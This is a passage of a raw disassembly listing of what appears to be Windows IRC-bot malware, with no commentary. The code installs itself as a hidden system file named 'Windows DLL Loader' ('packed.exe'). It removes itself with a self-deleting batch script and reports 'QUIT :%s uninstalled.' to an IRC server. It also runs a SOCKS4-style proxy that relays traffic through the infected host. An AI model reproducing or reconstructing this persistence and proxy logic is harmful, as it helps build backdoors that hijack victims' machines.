ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call ds:dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call ds:dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call ds:dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call ds:dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call ds:dword_417068 ; WriteFile push [ebp+var_28] call ds:dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: .text:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call ds:dword_4170AC ; DeleteFileA push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call ds:dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset aPacked_exe ; "packed.exe" push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call ds:dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call ds:dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call ds:dword_41707C ; CreateProcessA call ds:dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: .text:004031EDp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset aPacked_exe ; "packed.exe" push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call ds:dword_417254 ; WSACleanup push 0 call ds:dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset aPacked_exe ; "packed.exe" push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset aPacked_exe ; "packed.exe" push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call ds:dword_417254 ; WSACleanup push 0 call ds:dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; --------------------------------------------------------------------------- loc_40732D: ; DATA XREF: .text:00407792o push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push dword ptr [ebp+8] lea eax, [ebp-1C8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx mov eax, [ebp-1C8h] mov [ebp-5D4h], eax push 0 push 408h lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call ds:dword_417248 ; recv mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz short loc_40738F cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: .text:00407387j xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: .text:0040738Dj movzx eax, byte ptr [ebp-5D0h] cmp eax, 4 jnz short loc_4073BA movzx eax, byte ptr [ebp-5CFh] cmp eax, 1 jnz short loc_4073BA mov dword ptr [ebp-16ECh], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: .text:004073A0j ; .text:004073ACj and dword ptr [ebp-16ECh], 0 loc_4073C1: ; CODE XREF: .text:004073B8j mov eax, [ebp-16ECh] mov [ebp-4], eax movsx eax, byte ptr [ebp-1BEh] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp-1BEh] push eax lea eax, [ebp-5C8h] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and dword ptr [ebp-4], 0 loc_4073F5: ; CODE XREF: .text:004073D3j ; .text:004073EFj movsx eax, byte ptr [ebp-1Bh] test eax, eax jz short loc_407456 lea eax, [ebp-6E0h] push eax push dword ptr [ebp-5D4h] call sub_4044F7 pop ecx pop ecx cmp dword ptr [ebp-4], 0 jz short loc_407423 mov dword ptr [ebp-16F0h], offset byte_41DE30 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: .text:00407415j mov dword ptr [ebp-16F0h], offset aRejected ; " rejected" loc_40742D: ; CODE XREF: .text:00407421j push dword ptr [ebp-16F0h] movzx eax, byte ptr [ebp-5D0h] push eax lea eax, [ebp-6E0h] push eax push offset dword_418EB8 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: .text:004073FBj cmp dword ptr [ebp-4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp-5D0h] push eax call sub_416B6A ; memset add esp, 0Ch mov byte ptr [ebp-5CFh], 5Bh push 8 lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-5D4h] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: .text:0040745Aj push 0Ah lea eax, [ebp-5DCh] push eax push dword ptr [ebp-5CEh] call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp-5DCh] push eax push dword ptr [ebp-5CCh] call ds:dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp-5E0h], eax push 8 push 0 lea eax, [ebp-5D0h] push eax call sub_416B6A ; memset add esp, 0Ch cmp dword ptr [ebp-5E0h], 0 jnz short loc_407537 mov byte ptr [ebp-5CFh], 5Bh push 8 lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-5D4h] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: .text:00407504j mov byte ptr [ebp-5CFh], 5Ah push 8 lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: .text:0040762Aj push dword ptr [ebp-5D4h] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5D4h] call ds:dword_417248 ; recv mov [ebp-16E4h], eax cmp dword ptr [ebp-16E4h], 0 jz short loc_407597 cmp dword ptr [ebp-16E4h], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: .text:0040758Cj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: .text:00407595j push dword ptr [ebp-16E4h] lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5E0h] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: .text:00407563j ; .text:004075B9j push dword ptr [ebp-5E0h] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5E0h] call ds:dword_417248 ; recv mov [ebp-16E8h], eax cmp dword ptr [ebp-16E8h], 0 jz short loc_4075FF cmp dword ptr [ebp-16E8h], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: .text:004075F4j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: .text:004075FDj push dword ptr [ebp-16E8h] lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: .text:004075CBj ; .text:0040761Ej push 32h call ds:dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: .text:loc_407597j ; .text:004075BBj ... push dword ptr [ebp-5D4h] call sub_40538D pop ecx push dword ptr [ebp-5E0h] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: .text:00407391j ; .text:0040749Bj ... leave retn 4 ; --------------------------------------------------------------------------- loc_40764D: ; DATA XREF: sub_4077DD+B4o push ebp mov ebp, esp sub esp, 1CCh push 1BDh push dword ptr [ebp+8] lea eax, [ebp-1C0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp-1BCh] push eax call sub_4046BC pop ecx pop ecx mov [ebp-1C4h], eax cmp dword ptr [ebp-1C4h], 0 jnz short loc_4076A8 push dword ptr [ebp-1C0h] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: .text:00407693j lea eax, [ebp-1BCh] push eax mov eax, [ebp-1C0h] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp-1A6h] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: .text:00407706j ; .text:0040772Ej ... push 3E8h push dword ptr [ebp-1C4h] call sub_4048EF pop ecx pop ecx mov [ebp-1C8h], eax mov eax, [ebp-1C0h] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp dword ptr [ebp-1C8h], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: .text:004076EDj jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: .text:004076F6j cmp dword ptr [ebp-1C8h], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: .text:00407704j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp-1CCh], eax cmp dword ptr [ebp-1CCh], 0 jnz short loc_407730 push dword ptr [ebp-1C8h] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: .text:00407720j mov eax, [ebp-1CCh] mov ecx, [ebp-1C8h] mov [eax], ecx lea eax, [ebp-1BCh] push eax mov eax, [ebp-1CCh] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-1B6h] push eax mov eax, [ebp-1CCh] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp-1A6h] push eax mov eax, [ebp-1CCh] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp-1CCh] push offset loc_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push dword ptr [ebp-1CCh] call sub_416B4C ; free pop ecx push dword ptr [ebp-1C8h] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: .text:004077A0j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: .text:loc_4076F8j push dword ptr [ebp-1C4h] call sub_404CBB pop ecx push dword ptr [ebp-1C0h] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: .text:004076A3j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE30 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset loc_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej 